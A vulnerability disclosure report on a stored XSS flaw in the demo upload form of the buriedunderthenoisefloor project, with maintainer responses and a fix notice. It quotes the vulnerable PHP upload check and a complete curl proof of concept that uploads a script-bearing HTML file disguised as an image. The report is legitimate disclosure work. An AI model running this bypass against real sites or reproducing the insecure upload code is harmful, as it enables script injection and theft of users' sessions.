Cross-site Scripting (XSS) - Stored in jspark311/buriedunderthenoisefloor


Reported on

Oct 13th 2021


Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. is vulnerable to Stored XSS via Uploaded file as shown below:

Proof of concept

Vuln variable: $_FILES['upfile']

if (isset($_FILES) && isset($_FILES['upfile'])) {
    if ($_FILES['upfile']['error'] == 0) {
        if (in_array($_FILES['upfile']['type'], $allowed)) {
            $extension = end(explode('.', $_FILES['upfile']['name']));
            $file_path  = 'uploads/'.hash('sha256', $_FILES['upfile']['tmp_name'].time()).'.'.$extension;
            if (move_uploaded_file($_FILES['upfile']['tmp_name'], $file_path)) {
                $img = file_get_contents($file_path);
                $state = 1;


Analogous to the RCE upload an html content file:
In a terminal, with curl send a forged petition (javascript with a img content type) in this example the path is http://localhost/BuriedUnderTheNoiseFloor-master/

curl -i -s -k -X $'POST'     -H $'Host: localhost' -H $'Content-Type: multipart/form-data; boundary=---------------------------13655746569274249392023872903' -H $'Content-Length: 274' -H $'Connection: close' -H $'Bugbounty: test'     --data-binary $'-----------------------------13655746569274249392023872903\x0d\x0aContent-Disposition: form-data; name=\"upfile\"; filename=\"test2.html\"\x0d\x0aContent-Type: image/jpg\x0d\x0a\x0a<html><head><script>alert`xss`</script></head></html>\x0a\x0d\x0a-----------------------------13655746569274249392023872903--\x0d\x0a'  http://localhost/BuriedUnderTheNoiseFloor-master/form.php

Go to uploads folder http://localhost/BuriedUnderTheNoiseFloor-master/uploads/ and select the new html created file.
Observe the stored XSS.


Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.

We have contacted a member of the jspark311/buriedunderthenoisefloor team and are waiting to hear back a year ago
We have sent a follow up to the jspark311/buriedunderthenoisefloor team. We will try again in 7 days. a year ago
We have sent a second follow up to the jspark311/buriedunderthenoisefloor team. We will try again in 10 days. a year ago
We have sent a third and final follow up to the jspark311/buriedunderthenoisefloor team. This report is now considered stale. a year ago
J. Ian Lindsay
a year ago


As is the case with the RCE exploit against form.php, this attack is against a demonstration script, and not the core library itself.

J. Ian Lindsay validated this vulnerability a year ago
hitisec has been awarded the disclosure bounty
The fix bounty is now up for grabs
J. Ian Lindsay
a year ago


This has been fixed by ensuring the PHP execution policy is disable for the upload directory on the webserver.

J. Ian Lindsay marked this as fixed in e89c4049a3b407bbb08c79af0f4a38f907459b04a4309c53d6eaf4e7d6d74ad3 with commit 404a45 a year ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
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